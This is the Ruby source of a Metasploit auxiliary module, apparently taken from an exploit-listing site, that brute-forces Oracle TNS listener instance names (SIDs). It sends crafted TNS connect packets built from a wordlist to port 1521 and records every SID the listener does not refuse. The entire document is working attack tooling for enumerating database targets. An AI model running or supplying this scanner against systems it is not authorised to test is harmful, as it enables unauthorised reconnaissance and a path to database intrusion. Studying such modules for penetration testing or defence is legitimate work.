Exploit for Oracle TNS Listener SID Bruteforce

## https://sploitus.com/exploit?id=PACKETSTORM:180771
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::TNS  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::AuthBrute # Actually, doesn't use much here, but there's a couple handy functions.  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle TNS Listener SID Bruteforce',  
'Description' => %q{  
This module queries the TNS listener for a valid Oracle database  
instance name (also known as a SID).  
Any response other than a "reject" will be considered a success.  
If a specific SID is provided, that SID will be attempted. Otherwise,  
SIDs read from the named file will be attempted in sequence instead.  
},  
'Author' => [ 'todb' ],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptPath.new('SID_FILE', [ false, "File containing instance names, one per line", File.join(Msf::Config.data_directory, "wordlists", "sid.txt") ]),  
OptString.new('SID', [ false, 'A specific SID to attempt.' ]),  
Opt::RPORT(1521)  
])  
  
deregister_options(  
"USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",  
"BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",  
"REMOVE_USERPASS_FILE"  
)  
end  
  
def build_sid_request(sid,ip)  
connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{ip})(PORT=#{rport})))"  
pkt = tns_packet(connect_data)  
end  
  
def hostport  
[target_host,rport].join(":")  
end  
  
def check_sid(sid,ip)  
pkt = build_sid_request(sid,ip)  
sock.put(pkt)  
data = sock.get_once || ''  
parse_response(data)  
end  
  
def parse_response(data)  
return unless data  
len,sum,type,r,hsum,rest = data.unpack("nnCCnA*")  
type # 2 is "accept", 11 is resend. Usually you get 11, then 2. 4 is refuse.  
end  
  
def do_sid_check(sid,ip)  
begin  
connect  
response_code = check_sid(sid,ip)  
if response_code.nil?  
print_status "#{hostport} Oracle - No response given, something is wrong."  
return :abort  
elsif response_code != 4  
print_good "#{hostport} Oracle - '#{sid}' is valid"  
report_note(  
:host => ip,  
:proto => 'tcp',  
:port => rport,  
:sname => 'oracle',  
:type => "oracle.sid",  
:data => sid,  
:update => :unique_data  
)  
return :success  
else  
vprint_status "#{hostport} Oracle - Refused '#{sid}'"  
return :fail  
end  
rescue ::Rex::ConnectionError, ::Errno::EPIPE  
print_error("#{hostport} Oracle - unable to connect to a TNS listener")  
return :abort  
ensure  
disconnect  
end  
end  
  
# Based vaguely on each_user_pass in AuthBrute  
def each_sid(&block)  
@@oracle_sid_fail = []  
@@oracle_sid_success = []  
if datastore['SID'].nil? || datastore['SID'].empty?  
sids = extract_words(datastore['SID_FILE']).map {|s| s.to_s.strip.upcase}.uniq  
else  
sids = [datastore['SID'].to_s.strip.upcase]  
end  
print_status "Checking #{sids.size} SID#{sids.size != 1 && "s"} against #{hostport}"  
sids.each do |s|  
userpass_sleep_interval unless (@@oracle_sid_fail | @@oracle_sid_success).empty?  
next if @@oracle_sid_fail.include?(s) || @@oracle_sid_success.include?(s)  
ret = block.call(s)  
case ret  
when :abort  
break  
when :success  
@@oracle_sid_success << s  
break if datastore["STOP_ON_SUCCESS"]  
when :fail  
@@oracle_sid_fail << s  
end  
end  
end  
  
def run_host(ip)  
each_sid do |sid|  
vprint_status "#{hostport} Oracle - Checking '#{sid}'..."  
do_sid_check(sid,ip)  
end  
end  
end